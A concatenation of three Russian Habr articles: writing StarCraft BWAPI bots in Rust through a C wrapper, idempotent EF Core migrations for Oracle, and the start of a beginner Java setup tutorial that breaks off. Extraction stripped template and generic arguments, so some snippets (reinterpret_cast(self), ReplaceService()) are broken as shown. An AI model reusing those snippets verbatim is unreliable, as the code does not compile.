Как это часто бывает, прежде чем ~~построить дом, надо добыть руду, выковать инструменты...~~ написать бота, необходимо реализовать API. Что же может предложить со своей стороны Rust?
FFI
---
Взаимодействовать с другими языками из Rust довольно просто. Для этого существует FFI. Позвольте мне предоставить краткую выдержку из [документации](https://doc.rust-lang.org/nomicon/ffi.html).
Пусть у нас есть библиотека [snappy](https://github.com/google/snappy), у которой есть заголовочный файл [snappy-c.h](https://github.com/google/snappy/blob/master/snappy-c.h), из которого мы будем копировать объявления функций.
Создадим проект с помощью [cargo](https://doc.rust-lang.org/cargo/guide/).
```
$ cargo new --bin snappy
Created binary (application) `snappy` project
$ cd snappy
snappy$ tree
.
├── Cargo.toml
└── src
└── main.rs
1 directory, 2 files
```
Cargo создал стандартную файловую структуру для проекта.
В `Cargo.toml` укажем зависимость к [libc](https://crates.io/crates/libc):
```
[dependencies]
libc = "0.2"
```
`src/main.rs` файл будет выглядеть так:
```
extern crate libc; // Для определения C типов, в нашем случае для size_t
use libc::size_t;
#[link(name = "snappy")] // Указываем имя библиотеки для линковки функции
extern {
// Пишем руками объявление функции, которую хотим импортировать
// В C объявление выглядит:
// size_t snappy_max_compressed_length(size_t source_length);
fn snappy_max_compressed_length(source_length: size_t) -> size_t;
}
fn main() {
let x = unsafe { snappy_max_compressed_length(100) };
println!("max compressed length of a 100 byte buffer: {}", x);
}
```
Собираем и запускаем:
```
snappy$ cargo build
...
snappy$ cargo run
Finished dev [unoptimized + debuginfo] target(s) in 0.02s
Running `target/debug/snappy`
max compressed length of a 100 byte buffer: 148
```
Можно вызвать только `cargo run`, который перед запуском вызывает `cargo build`. Либо собрать проект и вызвать бинарник напрямую:
```
snappy$ ./target/debug/snappy
max compressed length of a 100 byte buffer: 148
```
Код скомпилируется при условии, что библиотека snappy установлена(для Ubuntu надо поставить пакет libsnappy-dev).
```
snappy$ ldd target/debug/snappy
...
libsnappy.so.1 => /usr/lib/x86_64-linux-gnu/libsnappy.so.1 (0x00007f8de07cf000)
```
Как можно увидеть, наш бинарник слинкован с разделяемой библиотекой libsnappy. И вызов `snappy_max_compressed_length` является вызовом функции из этой библиотеки.
rust-bindgen
------------
Было бы хорошо, если бы мы могли в автоматическом режиме сгенерировать FFI. К счастью, в арсенале растоманов есть такая утилита под названием [rust-bindgen](https://github.com/rust-lang-nursery/rust-bindgen). Она умеет генерировать FFI байндинги к C (и некоторым C++) библиотекам.
Установка:
```
$ cargo install bindgen
```
Как выглядит использование **rust-bindgen**? Мы берем заголовочные файлы C/C++, натравливаем на них утилиту **bindgen**, на выходе получаем сгенерированный Rust код с определениями сишных структур и функций. Вот как выглядит генерация FFI для snappy:
```
$ bindgen /usr/include/snappy-c.h | grep -C 1 snappy_max_compressed_length
extern "C" {
pub fn snappy_max_compressed_length(source_length: usize) -> usize;
}
```
Оказалось, что bindgen пасует перед заголовками BWAPI, генерируя тонны неюзабельных простынок кода (из-за виртуальных функций-членов, std::string в публичном API и т.д.). Все дело в том, что BWAPI написан на C++. C++ вообще сложно использовать даже из C++ проектов. Однажды собранную библиотеку лучше влинковывать тем же линковщиком (одинаковых версий), заголовочные файлы лучше парсить тем же компилятором (одинаковых версий). Потому что существует множество факторов, которые могут повлиять на исход. Например, [манглинг](https://en.wikipedia.org/wiki/Name_mangling#C++), который в GNU GCC до сих пор [не могут реализовать без ошибок](http://fitzgeraldnick.com/2017/02/22/cpp-demangle.html). Эти факторы настолько значимы, что их не смогли побороть даже в gtest, а в документации [указали](https://github.com/google/googletest/blob/master/googletest/README.md#incorporating-into-an-existing-cmake-project), что лучше бы вам собирать gtest как часть проекта тем же компилятором и тем же линковщиком.
BWAPI-C
-------
C — это лингва франка программирования. Если rust-bindgen хорошо работает для языка C, почему бы не реализовать BWAPI для C, а потом использовать его API? Хорошая идея!
Да, хорошая идея, пока ты не заглянул в кишки BWAPI и не увидел кол-во классов и методов, которые необходимо реализовать =( Особенно все эти расположения структур в памяти, ассемблеры, патчинг памяти и прочие ужасы, на которые у нас нет времени. Надо по максимуму заиспользовать уже существующее решение.
Но надо как-то бороться с манглингом, C++ кодом, наследованиями и виртуальными функциями-членами.
В C++ есть два мощнейших инструмента, которыми мы воспользуемся для решения нашей задачи, это [непрозрачные указатели](https://en.wikipedia.org/wiki/Opaque_pointer) и `extern "C"`.
`extern "C" {}` дает возможность C++ коду замаскироваться под C. Это позволяет генерировать чистые имена функций без манглинга.
Непрозрачные указатели дают нам возможность стереть тип и создавать указатель в "какой-то тип", чью реализацию мы не предоставляем. Так как это лишь объявление какого-то типа, а не его реализация, то использовать этот тип по значению невозможно, можно использовать лишь по указателю.
Допустим, у нас есть такой C++ код:
```
namespace cpp {
struct Foo {
int bar;
virtual int get_bar() {
return this->bar;
}
};
} // namespace cpp
```
Мы можем превратить в такой C заголовок:
```
extern "C" {
typedef struct Foo_ Foo; // Непрозрачный указатель на Foo
// объявляем cpp::Foo::get_bar
int Foo_get_bar(Foo* self);
}
```
И C++ часть, которая будет связующим звеном между C заголовком и C++ реализацией:
```
int Foo_get_bar(Foo* self) {
// кастуем непрозрачный указатель к конкретному cpp::Foo и вызываем метод ::get_bar
return reinterpret_cast(self)->get\_bar();
}
```
Не все методы классов пришлось обрабатывать таким образом. В BWAPI есть классы, операции над которыми можно реализовать самому, используя значения полей этих структур, например `typedef struct Position { int x; int y; } Position;` и методы вроде `Position::get_distance`.
Были и те, над которыми пришлось постараться особенным образом. Например, AIModule должен быть указателем на C++ класс с определенным набором виртуальных функций-членов. Тем не менее, вот [заголовок](https://github.com/RnDome/bwapi-c/blob/master/include/AIModule.h) и [реализация](https://github.com/RnDome/bwapi-c/blob/master/src/AIModule.cpp).
Итак, спустя несколько месяцев кропотливой работы, **554** метода и десяток классов, на свет родилась кроссплатформенная библиотека [BWAPI-C](https://github.com/RnDome/bwapi-c), которая позволяет [писать ботов на C](https://github.com/RnDome/bwapi-c/blob/master/example/Dll.c). Побочным продуктом стала возможность кросскомпиляции и возможность реализовать API на любом другом языке, который поддерживает FFI и соглашение о вызове cdecl.
Если вы пишите библиотеку, пожалуйста, пишите API на C.
Самая главная фишка BWAPI-C — это широчайшая возможность интеграции с другими языками. `Python`, `Ruby`, `Rust`, `PHP`, `Java` и многие многие другие умеют работать с C, следовательно на них тоже можно написать бота, если чуть-чуть поработать напильником и реализовать свои обертки.
Пишем бота на C
---------------
Эта часть описывает общие принципы устройства модулей Starcraft.
Существуют 2 типа ботов: модуль и клиент. Мы рассмотрим пример написания модуля.
Модуль — это загружаемая библиотека, общий принцип загрузки можно посмотреть [здесь](https://github.com/bwapi/bwapi/blob/59b14af21b3c881ce06af8b1ea1d63fa3c8b2df0/bwapi/AIModuleLoader/Source/AIModuleLoader.cpp#L57..L83). Модуль должен экспортировать 2 функции: `newAIModule` и `gameInit`.
С `gameInit` все просто, эта функция вызывается для передачи указателя на текущую игру. Этот указатель очень важен, так как в дебрях BWAPI живет глобальная статическая переменная, которая используется в некоторых участках кода. Опишем `gameInit`:
```
DLLEXPORT void gameInit(void* game) {
BWAPIC_setGame(game);
}
```
`newAIModule` чуть посложнее. Он должен возвращать указатель на C++ класс, у которого существует виртуальная таблица методов с именами **onXXXXX**, которые вызываются на определенные игровые события. Определим структуру модуля:
```
typedef struct ExampleAIModule
{
const AIModule_vtable* vtable_;
const char* name;
} ExampleAIModule;
```
Первым полем обязательно должен быть указатель на таблицу методов (магия, все дела). Итак, функция `newAIModule`:
```
DLLEXPORT void* newAIModule() {
ExampleAIModule* const module = (ExampleAIModule*) malloc( sizeof(ExampleAIModule) );
module->name = "ExampleAIModule";
module->vtable_ = &module_vtable;
return createAIModuleWrapper( (AIModule*) module );
}
```
`createAIModuleWrapper` — это еще одна магия, которая превращает С указатель в указатель на С++ класс с виртуальными ~~методами~~ функциями-членами.
`module_vtable` — это статическая переменная на таблицу методов, значения методов заполнены указателями на глобальные функции:
```
static AIModule_vtable module_vtable = {
onStart,
onEnd,
onFrame,
onSendText,
onReceiveText,
onPlayerLeft,
onNukeDetect,
onUnitDiscover,
onUnitEvade,
onUnitShow,
onUnitHide,
onUnitCreate,
onUnitDestroy,
onUnitMorph,
onUnitRenegade,
onSaveGame,
onUnitComplete
};
void onEnd(AIModule* module, bool isWinner) { }
void onFrame(AIModule* module) {}
void onSendText(AIModule* module, const char* text) {}
void onReceiveText(AIModule* module, Player* player, const char* text) {}
void onPlayerLeft(AIModule* module, Player* player) {}
void onNukeDetect(AIModule* module, Position target) {}
void onUnitDiscover(AIModule* module, Unit* unit) {}
void onUnitEvade(AIModule* module, Unit* unit) {}
void onUnitShow(AIModule* module, Unit* unit) {}
void onUnitHide(AIModule* module, Unit* unit) {}
void onUnitCreate(AIModule* module, Unit* unit) {}
void onUnitDestroy(AIModule* module, Unit* unit) {}
void onUnitMorph(AIModule* module, Unit* unit) {}
void onUnitRenegade(AIModule* module, Unit* unit) {}
void onSaveGame(AIModule* module, const char* gameName) {}
void onUnitComplete(AIModule* module, Unit* unit) {}
```
По названию функций и их сигнатур понятно, при каких условиях и с какими аргументами они вызываются. Для примера я все функции сделал пустыми, кроме
```
void onStart(AIModule* module) {
ExampleAIModule* self = (ExampleAIModule*) module;
Game* game = BWAPIC_getGame();
Game_sendText(game, "Hello from bwapi-c!");
Game_sendText(game, "My name is %s", self->name);
}
```
Данная функция вызывается при старте игры. В качестве аргумента передается указатель на текущий модуль. `BWAPIC_getGame` возвращает глобальный указатель на игру, который мы установили с помощью вызова `BWAPIC_setGame`. Итак, покажем пример кросскомпиляции и работы модуля:
```
bwapi-c/example$ tree
.
├── BWAPIC.dll
└── Dll.c
0 directories, 2 files
bwapi-c/example$ i686-w64-mingw32-gcc -mabi=ms -shared -o Dll.dll Dll.c -I../include -L. -lBWAPIC
bwapi-c/example$ cp Dll.dll ~/Starcraft/bwapi-data/
bwapi-c/example$ cd ~/Starcraft/bwapi-data/
Starcraft$ wine bwheadless.exe -e StarCraft.exe -l bwapi-data/BWAPI.dll --headful
...
...
...
```
Тыкаем в кнопочки и запускаем игру. Подробнее про запуск можно прочитать на сайте [BWAPI](https://bwapi.github.io/) и в [BWAPI-C](https://github.com/RnDome/bwapi-c).
Результат работы модуля:
Чуть более сложный пример модуля, который показывает работу с итераторами, управлением юнитов, поиском минералов, выводом статистики можно найти в [bwapi-c/example/Dll.c](https://github.com/RnDome/bwapi-c/blob/master/example/Dll.c).
bwapi-sys
---------
В экосистеме Раста [принято](https://doc.rust-lang.org/cargo/reference/build-scripts.html#case-study-linking-to-system-libraries) определенным образом называть пакеты, которые линкуются к нативным библиотекам. Любой пакет foo-sys занимается двумя важными функциями:
* Линкуется к нативной библиотеке libfoo
* Предоставляет объявления к функциям из библиотеки libfoo. Но только лишь объявления, высокоуровневые абстракции в \*-sys крейтах не предоставляются.
Чтобы \*-sys пакет умел успешно линковаться, в него встраивают [поиск](https://github.com/sodiumoxide/sodiumoxide/blob/master/libsodium-sys/build.rs) нативной библиотеки и/или [сборку](https://github.com/alexcrichton/ssh2-rs/blob/master/libssh2-sys/build.rs) библиотеки из исходников.
Чтобы \*-sys пакет предоставил объявления, надо или написать их руками, или сгенерировать с помощью bindgen. Снова bindgen. Попытка номер два =)
Генерация байндингов с помощью bwapi-c становится до неприличия простой:
```
bindgen BWAPI.h -o lib.rs \
--opaque-type ".+_" \
--blacklist-type "std.*|__.+|.+_$|Game_v(Send|Print|Draw).*|va_list|.+_t$" \
--no-layout-tests \
--no-derive-debug \
--raw-line "#![allow(improper_ctypes, non_snake_case)]" \
-- -I../submodules/bwapi-c/include
sed -i -r -- 's/.+\s+(.+)_;/pub struct \1;/' lib.rs
```
Где `BWAPI.h` — файл с инклудами всех сишных заголовков из BWAPI-C.
Например, для уже известных функций bindgen сгенерировал такие объявления:
```
extern "C" {
/// BWAPIC_setGame must be called from gameInit to initialize BWAPI::BroodwarPtr
pub fn BWAPIC_setGame(game: *mut Game);
}
extern "C" {
pub fn BWAPIC_getGame() -> *mut Game;
}
```
Существуют 2 стратегии: хранение сгенерированного кода в репозитории и генерация кода на лету при сборке. И тот и другой подход имеет свои преимущества и [недостатки](https://github.com/sodiumoxide/sodiumoxide/pull/225#issuecomment-400641946).
Приветствуем [bwapi-sys](https://github.com/RnDome/bwapi-sys), еще одну маленькую ступень к нашей цели.
Помните, я говорил про кроссплатформенность? К проекту присоединился [nlinker](https://habr.com/ru/users/nlinker/) и реализовал хитрую стратегию. Если целевой таргет — Windows, то скачиваем уже собранную BWAPIC из гитхаба. А для остальных таргетов собираем BWAPI-C из исходников для OpenBW (расскажу чуть позже).
bwapi-rs
--------
Теперь, когда у нас есть байндинги, мы можем описывать высокоуровневые абстракции. У нас есть 2 типа, с которыми надо работать: чистые значения и непрозрачные указатели.
С чистыми значениями все проще. Возьмем за пример цвета. Нам надо добиться удобного использования из Rust кода, чтобы можно было использовать цвета удобным и естественным образом:
```
game.draw_line(CoordinateType::Screen, (10, 20), (30, 40), Color::Red);
^^^
```
Значит для удобного использования надо будет определить идиоматическое для языка Rust перечисление с [константами](https://github.com/bwapi/bwapi/blob/master/bwapi/include/BWAPI/Color.h#L59) из C++ и определить методы конвертирования в bwapi\_sys::Color с помощью типажа [std::convert::From](https://doc.rust-lang.org/std/convert/trait.From.html):
```
// FFI version
#[repr(C)]
#[derive(Copy, Clone)]
pub struct Color {
pub color: ::std::os::raw::c_int,
}
// Idiomatic version
#[derive(PartialEq, PartialOrd, Copy, Clone)]
pub enum Color {
Black = 0,
Brown = 19,
...
```
Хотя для удобства можно воспользоваться крейтом [enum-primitive-derive](https://crates.io/crates/enum-primitive-derive).
С непрозрачными указателями ничуть не сложнее. Для этого воспользуемся паттерном [Newtype](https://github.com/rust-unofficial/patterns/blob/master/patterns/newtype.md):
```
pub struct Player(*mut sys::Player);
```
То есть Player — это некая структура с приватным полем — сырым непрозрачным указателем из C. И вот как можно описать метод Player::color:
```
impl Player {
// так объявлен метод Player::getColor в bwapi-sys
//extern "C" {
// pub fn Player_getColor(self_: *mut Player) -> Color;
//}
pub fn color(&self) -> Color {
// bwapi_sys::Player_getColor - обертка функции из BWAPI-C
// self.0 - сырой указатель
let color = unsafe { bwapi_sys::Player_getColor(self.0) };
color.into() // каст bwapi_sys::Color -> Color
}
}
```
Теперь мы можем написать своего первого бота на Rust!
Пишем бота на Rust
------------------
В качестве proof of concept бот будет похож на одну известную страну: весь его функционал будет заключаться в найме рабочих и сборе минералов.
Начнем с обязательных функций `gameInit` и `newAIModule`:
```
#[no_mangle]
pub unsafe extern "C" fn gameInit(game: *mut void) {
bwapi_sys::BWAPIC_setGame(game as *mut bwapi_sys::Game);
}
#[no_mangle]
pub unsafe extern "C" fn newAIModule() -> *mut void {
let module = ExampleAIModule { name: String::from("ExampleAIModule") };
let result = wrap_handler(Box::new(module));
result
}
```
`#[no_mangle]` выполняет ту же функцию, что и `extern "C"` в C++. Внутри `wrap_handler` происходит всякая магия с подстановкой таблицы виртуальных функций и маскировкой под C++ класс.
Описание структуры модуля еще проще и красивее, чем в C:
```
struct ExampleAIModule {
name: String,
}
```
Добавим пару методов для отрисовки статистики и раздачи приказов:
```
impl ExampleAIModule {
fn draw_stat(&mut self) {
let game = Game::get();
let message = format!("Frame {}", game.frame_count());
game.draw_text(CoordinateType::Screen, (10, 10), &message);
}
fn give_orders(&mut self) {
let player = Game::get().self_player();
for unit in player.units() {
match unit.get_type() {
UnitType::Terran_SCV |
UnitType::Zerg_Drone |
UnitType::Protoss_Probe => {
if !unit.is_idle() {
continue;
}
if unit.is_carrying_gas() || unit.is_carrying_minerals() {
unit.return_cargo(false);
continue;
}
if let Some(mineral) = Game::get()
.minerals()
.min_by_key(|m| unit.distance_to(m))
{
// WE REQUIRE MORE MINERALS
unit.right_click(&mineral, false);
}
}
UnitType::Terran_Command_Center => {
unit.train(UnitType::Terran_SCV);
}
UnitType::Protoss_Nexus => {
unit.train(UnitType::Protoss_Probe);
}
UnitType::Zerg_Hatchery |
UnitType::Zerg_Lair |
UnitType::Zerg_Hive => {
unit.train(UnitType::Zerg_Drone);
}
_ => {}
};
}
}
}
```
Чтобы тип ExampleAIModule превратился в настоящий модуль, необходимо научить его отзываться на события **onXXXX**, для чего надо реализовать типаж EventHandler, который является аналогом виртуальной таблицы AIModule\_vtable из C:
```
impl EventHandler for ExampleAIModule {
fn on_start(&mut self) {
Game::get().send_text(&format!("Hello from Rust! My name is {}", self.name));
}
fn on_end(&mut self, _is_winner: bool) {}
fn on_frame(&mut self) {
self.draw_stat();
self.give_orders();
}
fn on_send_text(&mut self, _text: &str) {}
fn on_receive_text(&mut self, _player: &mut Player, _text: &str) {}
fn on_player_left(&mut self, _player: &mut Player) {}
fn on_nuke_detect(&mut self, _target: Position) {}
fn on_unit_discover(&mut self, _unit: &mut Unit) {}
fn on_unit_evade(&mut self, _unit: &mut Unit) {}
fn on_unit_show(&mut self, _unit: &mut Unit) {}
fn on_unit_hide(&mut self, _unit: &mut Unit) {}
fn on_unit_create(&mut self, _unit: &mut Unit) {}
fn on_unit_destroy(&mut self, _unit: &mut Unit) {}
fn on_unit_morph(&mut self, _unit: &mut Unit) {}
fn on_unit_renegade(&mut self, _unit: &mut Unit) {}
fn on_save_game(&mut self, _game_name: &str) {}
fn on_unit_complete(&mut self, _unit: &mut Unit) {}
}
```
Сборка и запуск модуля так же просты, как и для C:
```
bwapi-rs$ cargo build --example dll --target=i686-pc-windows-gnu
bwapi-rs$ cp ./target/i686-pc-windows-gnu/debug/examples/dll.dll ~/Starcraft/bwapi-data/Dll.dll
bwapi-rs$ cd ~/Starcraft/bwapi-data/
Starcraft$ wine bwheadless.exe -e StarCraft.exe -l bwapi-data/BWAPI.dll --headful
...
...
...
```
И видео работы:
Немного о кросскомпиляции
-------------------------
Если кратко, то в Rust она прекрасна! В два клика можно поставить множество тулчейнов для разных платформ. Конкретно тулчейн i686-pc-windows-gnu ставится командой:
```
rustup target add i686-pc-windows-gnu
```
Так же можно указать кофиг для cargo в корне проекта `.cargo/config`:
```
[target.i686-pc-windows-gnu]
linker = "i686-w64-mingw32-gcc"
ar = "i686-w64-mingw32-ar"
runner = "wine"
```
И это все, что нужно сделать, чтобы скомпилировать проект Rust из Linux под Windows.
OpenBW
------
Эти ребята пошли еще дальше. Они решили написать open-source версию игры SC:BW! И у них неплохо получается. Одной из их целей была реализация HD картинки, но SC: Remastered их опередили =( На данный момент можно использовать их API для написания ботов (да, тоже на C++). Но самой умопомрачительной фичей является возможность просматривать реплеи [прямо в браузере](http://www.openbw.com/project/replay-module/).
Заключение
----------
При реализации осталась нерешенная проблема: мы не контролируем уникальность ссылок, а одновременное существование `&mut` и `&` при изменении объекта приведет к неопределенному поведению. Беда. [Halt](https://habr.com/ru/users/halt/) [пытался](https://users.rust-lang.org/t/idiomatic-bindings-to-the-starcraft-broodwar-game/11572) реализовать идиоматичные байндинги, но его запал слегка угас. Также для решения этой задачи придется качественно перелопатить C++ API и правильно проставить `const` квалификаторы.
Мне очень понравилось работать над этим проектом, я 하루종일 смотрел реплеи и глубоко погрузился в атмосферу. Эта игра оставила 믿어지지 않을 정도인 наследие. Ни одну игру нельзя 비교할 수 없다 по популярности с SC:BW, а ее влияние на 대한민국 정치에게 оказалось немыслимым. Прогеймеры в Корее 아마도 так же популярны, как и 드라마 주연 배우들 корейских дорам, транслирующихся в прайм-тайм. 또한, 한국에서 프로게이머라면 군대의 특별한 육군에 입대할 수 있다.
Да здравствует StarCraft!
Ссылки
------
* [gitter](https://gitter.im/kpp/bwapi-c)
* [bwapi-rs](https://github.com/RnDome/bwapi-rs)
* [bwapi-sys](https://github.com/RnDome/bwapi-sys)
* [bwapi-c](https://github.com/RnDome/bwapi-c)
* [bwapi](https://github.com/bwapi/bwapi/)
* [openbw](http://openbw.com/) | https://habr.com/ru/post/416743/ | null | ru | null |
# EF Core + Oracle: как сделать миграции идемпотентными
Обычно фреймворк EF Core используют в сочетании с MS SQL — другим продуктом Microsoft. Однако это не догма. Например, мы в CUSTIS пишем бизнес-логику на C#, а для управления базами данных используем Oracle. В EF Core есть замечательный механизм миграций, но в нашем случае они не идемпотентны. Дело в том, что Oracle и ряд других БД, например MySQL, [не поддерживают транзакционный DDL](https://www.datasunrise.com/blog/professional-info/how-popular-rdbmss-deal-with-ddl-commands-in-transactions/). Значит, если миграция упадет где-то посередине, ее не получится ни накатить, ни откатить. Как же реализовать идемпотентные миграции на EF Core без MS SQL?
Предыстория
-----------
В нашей компании есть достаточно мощный инструмент для установки патчей на БД Oracle, который мы используем в ряде проектов. Его писали, когда еще не было Liquibase, миграций EF и других открытых инструментов. Патчер позволяет работать с сотней БД, отслеживать историю установок, просматривать логи, хранить секреты и многое другое. Скрипты для изменения БД пишутся в виде SQL- или m4-макросов. С их помощью можно в числе прочего модифицировать структуру: создавать таблицы, колонки и другие объекты. При этом m4-макросы идемпотентны. Это значит, что при повторной попытке создать, например, таблицу скрипт не упадет, а увидит, что она уже существует, и пропустит создание.
Предположим, скрипт по установке патча состоит из двух операций:
1. Создание таблицы А.
2. Создание таблицы В.
Если скрипт упадет после первой операции, в Oracle останется таблица А. Повторное применение патча отработает корректно: скрипт проверит, что А уже существует, поэтому сразу же перейдет ко второй операции.
Помимо достоинств у патчера все же есть недостаток — инструмент закрытый и используется только в CUSTIS. Разработчикам приходится учиться работать с ним, а за пределами компании такой опыт не очень ценен. Кроме того, патчер не поддерживает режим работы Code First, поэтому все скрипты для изменения структуры БД приходится писать вручную.
Мы хотели попробовать какой-то готовый механизм установки патчей и выбрали миграции. В конце 2019 года как раз стартовал очередной проект для заказчика, на котором мы решили протестировать новый подход. Главной проблемой этого механизма оказалась неидемпотентность миграций.
Проблема
--------
В MS SQL цепочка DDL-операторов или миграция выполняется в виде одной составной транзакции. В случае прерывания операция полностью отменяется. В Oracle DDL нетранзакционный, поэтому падение миграции приведет к неконсистентному состоянию БД.
Вернемся к патчу, состоящему из двух операций: создания таблиц А и B. Если мигратор упадет после первой, в Oracle останется таблица А. Повторный запуск ничего не даст — оператору `CREATE TABLE` не понравится, что А уже существует. Откатить миграцию также не удастся: EF Core пишет в системную таблицу, что миграция выполнена, только в самом конце процесса. С точки зрения EF Core, если миграция еще не завершена, то и откатывать нечего.
Решение
-------
Поиск готового решения для Oracle в интернете не дал результатов. Все, что я нашел, — статьи про способы [написания](https://www.thereformedprogrammer.net/handling-entity-framework-core-database-migrations-in-production-part-1/) и [установки](https://www.thereformedprogrammer.net/handling-entity-framework-core-database-migrations-in-production-part-2/) патчей при работе с EF. Чуть позже на StackOverflow натолкнулся на идею — сделать свой [IMigrationsSqlGenerator](https://docs.microsoft.com/en-us/dotnet/api/microsoft.entityframeworkcore.migrations.imigrationssqlgenerator?view=efcore-3.1). Этот интерфейс отвечает за формирование SQL-кода, обрабатывающего операции EF.
В пакет [Oracle.EntityFrameworkCore](https://www.nuget.org/packages/Oracle.EntityFrameworkCore/) включен OracleMigrationsSqlGenerator, реализующий IMigrationsSqlGenerator. К примеру, если требуется добавить колонку, будет сгенерирован такой код:
```
ALTER TABLE MY_TABLE ADD (MY_COLUMN DATE)
```
Затем код передается в другие классы для запуска в БД.
Для начала я попробовал переопределить пару операций OracleMigrationsSqlGenerator. Задача оказалась вполне посильной, и я приступил к написанию идемпотентного мигратора. Так появился [CUSTIS.OracleIdempotentSqlGenerator](https://www.nuget.org/packages/CUSTIS.OracleIdempotentSqlGenerator/).
Перед операцией EF наш мигратор проверяет, была ли она выполнена ранее. Например, колонка добавляется так:
```
DECLARE
i NUMBER;
BEGIN
SELECT COUNT(*) INTO i
FROM user_tab_columns
WHERE table_name = UPPER('MY_TABLE') AND column_name = UPPER('MY_COLUMN');
IF I != 1 THEN
EXECUTE IMMEDIATE 'ALTER TABLE MY_TABLE ADD (MY_COLUMN DATE)';
END IF;
END;
```
Использование
-------------
Использовать пакет очень просто — необходимо лишь подменить `IMigrationsSqlGenerator` в нужном контексте:
```
public class MyDbContext : DbContext
{
protected override void OnConfiguring(DbContextOptionsBuilder optionsBuilder)
{
optionsBuilder.ReplaceService();
}
}
```
Миграции формируются и устанавливаются [стандартными для EF Core средствами](https://docs.microsoft.com/ru-ru/ef/core/managing-schemas/migrations/?tabs=dotnet-core-cli):
```
dotnet ef migrations add v1.0.1
dotnet ef database update
```
Общий подход, заложенный в [CUSTIS.OracleIdempotentSqlGenerator](https://www.nuget.org/packages/CUSTIS.OracleIdempotentSqlGenerator/), может быть реализован в генераторах, написанных для MySQL, MariaDB, Teradata, AmazonAurora и других БД, в которых DDL не является транзакционным.
Ссылки
------
[Пакет доступен в NuGet](https://www.nuget.org/packages/CUSTIS.OracleIdempotentSqlGenerator/)
[Исходники на GitHub](https://github.com/CUSTIS-public/CUSTIS.OracleIdempotentSqlGenerator) | https://habr.com/ru/post/494278/ | null | ru | null |
# Java Core для самых маленьких. Часть 1. Подготовка и первая программа
Вступление. Краткая история и особенности языка
-----------------------------------------------
Как-то давно мы с моим товарищем и коллегой [Егором](https://www.linkedin.com/in/yegor-logachev-0352a7109/) готовили обучающий курс по Java Core. Но как-то не срослось и это дело не было доведено до какого-либо логического конца. И вот, спустя время, я решил, что не стоит пропадать добру и по-этому запускаю серию статей про Java Core для самых маленьких.
Начало разработки языка было положено еще в 1991 году компанией [Sun Microsystems, Inc.](https://ru.wikipedia.org/wiki/Sun_Microsystems) Вначале язык был назван Oak (Дуб), но в 1995 он был переименован в Java. Публично заявили о создании языка в 1995 году. Причиной создания была потребность в независящем от платформы и архитектуры процессора языке, который можно было бы использовать для написания программ для бытовой электротехники. Но поскольку в таких устройствах применялись различные процессоры, то использование популярных на то время языков С/С++ и прочих было затруднено, поскольку написанные на них программы должны компилироваться отдельно для конкретной платформы.
Особенностью Java, которая решила эту проблему, стало то, что компилятор Java выдает не машинный исполняемый код, а **байт-код** - оптимизированный набор инструкций, которые выполняются в так называемой виртуальной машин Java (JVM - [Java Virtual Machine](https://ru.wikipedia.org/wiki/Java_Virtual_Machine)). А на соответствующую платформу предварительно устанавливается JVM с необходимой реализацией, способная правильно интерпретировать один и тот же байт-код. У такого подхода есть и слабые стороны, такие программы выполняются медленнее, чем если бы они были скомпилированы в исполняемый код.
Установка программного обеспечения - JDK
----------------------------------------
В первую очередь, нам нужно установить на компьютер так называемую [JDK (Java Development Kit)](https://ru.wikipedia.org/wiki/Java_Development_Kit) - это установочный комплект разработчика, который содержит в себе компилятор для этого языка и стандартные библиотеки, а виртуальную машину Java (JVM) для вашей ОС.
Для того чтобы скачать и установить JDK открываем браузер, и в строке поиска Google вводим “download JDK” или [переходим по этой ссылке](https://www.oracle.com/java/technologies/javase/javase-jdk8-downloads.html).
Скролим ниже и находим таблицу с вариантами скачивания JDK. В зависимости от нашей операционной системы выбираем файл для скачивания.
Процесс установки для ОС Windows имеет несколько этапов. Не стоит пугаться, все очень просто и делается в несколько кликов. [Вот здесь](https://www.fandroid.info/ustanovka-jdk-java-development-kit/#ustanovka-paketa-jdk-java-development-kit) подробно описан процесс установки. Самое важное для пользователей Windows это добавить системную переменную **JAVA\_HOME**. [В этой же статье](https://www.fandroid.info/ustanovka-jdk-java-development-kit/#dobavlyaem-sistemnuyu-peremennuyu-java_home) достаточно подробно расписано как это сделать (есть даже картинки).
Для пользователей MacOS также стоит добавить переменную **JAVA\_HOME**. Делается это следующим образом. После установки **.dmg** файла JDK переходим в корневую папку текущего пользователя и находим файл .bash\_profile. Если у вас уже стоит **zsh** то ищем файл .zshenv. Открываем этот файл на редактирование и добавляем следующие строки:
```
export JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk1.8.0_271.jdk/Contents/Home
export PATH=${PATH}:${JAVA_HOME}
```
Здесь обратите внимание на версию JDK указанную в пути - **jdk1.8.0\_271.jdk**. Могу предположить, что у вас она будет отличаться, поэтому пройдите по указанному пути и укажите свою версию. Сохраняем изменения и закрываем файл, он нам больше не понадобится.
Теперь важно проверить правильность установки JDK. Для этого открываем **командную строку**, в случае работы на Windows, или **терминал** для MacOS. Вводим следующую команду: `java -version` Если вы все сделали правильно, вы увидите версию установленного JDK. В ином случае вы, скорее всего, допустили где-то ошибку. Советую внимательно пройтись по всем этапам установки.
Установка IDE
-------------
Теперь нам нужно установить среду разработки, она же [IDE (Integrated development environment)](https://ru.wikipedia.org/wiki/%D0%98%D0%BD%D1%82%D0%B5%D0%B3%D1%80%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D0%B0%D1%8F_%D1%81%D1%80%D0%B5%D0%B4%D0%B0_%D1%80%D0%B0%D0%B7%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%BA%D0%B8). Что собой представляет среда разработки? На самом деле она выглядит как текстовый редактор, в котором мы можем вводить и редактировать текст. Но помимо этого, этот текстовый редактор умеет делать проверку синтаксиса языка на котором вы пишете. Делается это для того чтобы на раннем этапе подсказать вам о том, что вы допустили ошибку в своем коде.
Также среда разработки содержит в себе [компилятор](https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%BC%D0%BF%D0%B8%D0%BB%D1%8F%D1%82%D0%BE%D1%80). Компилятор - это специальный инструмент, который будет превращать код, который вы пишете, в машинный код или близкий к машинному коду.
Кроме этого, среда разработки поддерживает отладчики которые помогают править и отлаживать ваш код в случае ошибки. Скажем так, это были описаны основные возможности **IDE**. Современные IDE предоставляют огромное количество инструментов, которые могут помочь в написании, отладке, автоматической генерации кода и решить множество других проблем.
